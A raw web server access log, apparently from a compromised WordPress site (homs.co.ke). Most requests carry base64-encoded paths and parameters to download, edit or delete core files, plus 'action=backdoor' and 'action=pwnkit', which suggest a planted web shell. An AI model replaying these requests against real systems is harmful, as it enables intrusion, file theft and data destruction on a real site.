/?del=class-wp-sitemaps-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBzL3Byb3ZpZGVycw== HTTP/1.1" 200 4903 "http://www.homs.co.ke/?del=class-wp-sitemaps-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NpdGVtYXBzL3Byb3ZpZGVycw==" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 40.77.167.126 - - [06/Mar/2026:16:07:40 -0700] "GET /?n=4984087041440&mod=94c6f77d&uri=news.php%3Fid%3D166906-401%26name%3Dbabyliss+bio+ionic+whisper+light+pro HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.173.182.70 - - [06/Mar/2026:16:08:53 -0700] "GET /?del=wp-tinymce.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL3RpbnltY2U= HTTP/1.1" 200 6006 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.163.22.237 - - [06/Mar/2026:16:08:53 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=kses.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 52.167.144.140 - - [06/Mar/2026:16:10:31 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=php-compat HTTP/1.1" 200 57649 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.173.177.214 - - [06/Mar/2026:16:19:59 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ== HTTP/1.1" 200 5490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.207 - - [06/Mar/2026:16:19:59 -0700] "GET /?act=edit&file=class-wp-block-parser-frame.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4934 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 173.252.69.115 - - [06/Mar/2026:17:07:04 -0700] "GET /robots.txt HTTP/1.1" 206 342 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" homs.co.ke 10.38.197.90 43.173.174.106 - - [06/Mar/2026:17:20:47 -0700] "GET /?act=download&file=class-wp.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.76 - - [06/Mar/2026:17:20:47 -0700] "GET /?act=edit&file=class-wp-matchesmapregex.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 5051 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.179.57 - - [06/Mar/2026:17:20:47 -0700] "GET /?act=download&file=class-wp-block-list.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.252 - - [06/Mar/2026:17:20:47 -0700] "GET /?act=download&file=feed-rdf.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.105 - - [06/Mar/2026:17:20:47 -0700] "GET /?act=download&file=nav-menu.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.247 - - [06/Mar/2026:17:20:47 -0700] "GET /?del=SplFixedArray.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL1BIUDUy HTTP/1.1" 200 4527 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.98 - - [06/Mar/2026:17:20:47 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-customize-manager.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.126 - - [06/Mar/2026:17:20:47 -0700] "GET /?act=download&file=class-wp.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=class-wp.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.28 - - [06/Mar/2026:17:20:48 -0700] "GET /?act=download&file=feed-rdf.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=feed-rdf.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.148 - - [06/Mar/2026:17:22:49 -0700] "GET /?act=edit&file=query-large-title-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 200 5350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.238 - - [06/Mar/2026:17:22:50 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=cache.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.33 - - [06/Mar/2026:17:22:50 -0700] "GET /?act=download&file=class-wp-fatal-error-handler.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.149 - - [06/Mar/2026:17:22:50 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=theme-templates.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.75 - - [06/Mar/2026:17:22:50 -0700] "GET /?action=backdoor&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL3RpbnltY2U= HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.180 - - [06/Mar/2026:17:22:50 -0700] "GET /?act=download&file=class-wp-http-requests-response.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.88 - - [06/Mar/2026:17:22:51 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2pzL3RpbnltY2U=&status=success HTTP/1.1" 200 6272 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.222 - - [06/Mar/2026:17:23:52 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-session-tokens.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.151 - - [06/Mar/2026:17:23:52 -0700] "GET /?act=download&file=class-wp-theme-json-schema.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.43 - - [06/Mar/2026:17:24:51 -0700] "GET /?act=download&file=class-wp-site-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.190 - - [06/Mar/2026:17:24:51 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-site-query.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.91 - - [06/Mar/2026:17:24:51 -0700] "GET /?act=download&file=class-wp-style-engine-css-rule.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ== HTTP/1.1" 200 4222 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.125 - - [06/Mar/2026:17:24:52 -0700] "GET /?act=edit&file=atomlib.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 8352 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.155 - - [06/Mar/2026:17:24:52 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-site-query.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.16 - - [06/Mar/2026:17:24:52 -0700] "GET /?act=download&file=class-wp-text-diff-renderer-table.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 40.77.167.230 - - [06/Mar/2026:17:36:41 -0700] "GET /?n=5850542071440&mod=592df050&uri=itm.php%3Fid%3D195894-539%26name%3Dghz+edition+nvidia+geforce+gtx+780+4gb HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 52.167.144.233 - - [06/Mar/2026:18:14:52 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2NlcnRpZmljYXRlcw== HTTP/1.1" 200 4428 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.173.178.30 - - [06/Mar/2026:18:17:30 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-customize-control.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.196 - - [06/Mar/2026:18:17:30 -0700] "GET /?act=download&file=feed-atom.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.175 - - [06/Mar/2026:18:17:30 -0700] "GET /?act=edit&file=query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 16356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.235 - - [06/Mar/2026:18:17:31 -0700] "GET /?act=download&file=constants.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbGli HTTP/1.1" 200 4260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.63 - - [06/Mar/2026:18:17:31 -0700] "GET /?del=class-wp-translation-file-mo.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2wxMG4= HTTP/1.1" 200 5193 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.142 - - [06/Mar/2026:18:17:31 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-customize-control.php HTTP/1.1" 200 12490 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.58 - - [06/Mar/2026:18:17:31 -0700] "GET /?act=download&file=feed-atom.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=feed-atom.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.172.112 - - [06/Mar/2026:18:21:35 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=wp-db.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.164 - - [06/Mar/2026:18:21:36 -0700] "GET /?del=Core32&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3Jj HTTP/1.1" 200 5749 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.207 - - [06/Mar/2026:18:21:36 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0L2VkaXQtd2lkZ2V0cw== HTTP/1.1" 200 5090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 40.77.167.126 - - [06/Mar/2026:18:22:19 -0700] "GET /?n=5829132061440&mod=d36e6dc0&uri=form.php%3Fid%3D195178-172%26name%3Dhot+water+caravan+gas+boiler HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.173.182.157 - - [06/Mar/2026:18:22:38 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.20 - - [06/Mar/2026:18:22:38 -0700] "GET /?act=download&file=class-wp-taxonomy.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.188 - - [06/Mar/2026:18:22:38 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=theme-previews.php HTTP/1.1" 200 5636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.163 - - [06/Mar/2026:18:22:38 -0700] "GET /?act=edit&file=string.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU= HTTP/1.1" 200 6844 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.36 - - [06/Mar/2026:18:22:38 -0700] "GET /?act=download&file=category-template.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.173.185 - - [06/Mar/2026:18:22:38 -0700] "GET /?act=edit&file=post-template.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 29721 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.221 - - [06/Mar/2026:18:22:39 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp.php HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 52.167.144.136 - - [06/Mar/2026:18:25:35 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=l10n HTTP/1.1" 200 57649 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.173.177.91 - - [06/Mar/2026:18:25:43 -0700] "GET /?act=download&file=class-snoopy.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.25 - - [06/Mar/2026:18:25:44 -0700] "GET /?del=class-IXR-message.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 5998 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.218 - - [06/Mar/2026:18:25:44 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1BIUE1haWxlcg== HTTP/1.1" 200 4832 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:18:34:25 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [06/Mar/2026:18:34:26 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2Nrcw==&del=site-title.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 43.173.181.218 - - [06/Mar/2026:19:12:11 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-script-modules.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.106 - - [06/Mar/2026:19:12:11 -0700] "GET /?act=download&file=query-standard-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 200 4219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.176.125 - - [06/Mar/2026:19:19:22 -0700] "GET /?act=edit&file=query-small-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.193 - - [06/Mar/2026:19:19:22 -0700] "GET /?act=download&file=class-wp-http-curl.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.74 - - [06/Mar/2026:19:19:22 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3Nsb3Q= HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.163.22.253 - - [06/Mar/2026:19:19:22 -0700] "GET /?del=error_log&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZQ== HTTP/1.1" 200 4737 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.148 - - [06/Mar/2026:19:19:22 -0700] "GET /?act=download&file=class-wp-rewrite.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.133 - - [06/Mar/2026:19:19:22 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1JlcXVlc3Rz HTTP/1.1" 200 4493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.107 - - [06/Mar/2026:19:19:22 -0700] "GET /?act=edit&file=query-small-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 200 5022 "http://www.homs.co.ke/?act=edit&file=query-small-posts.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 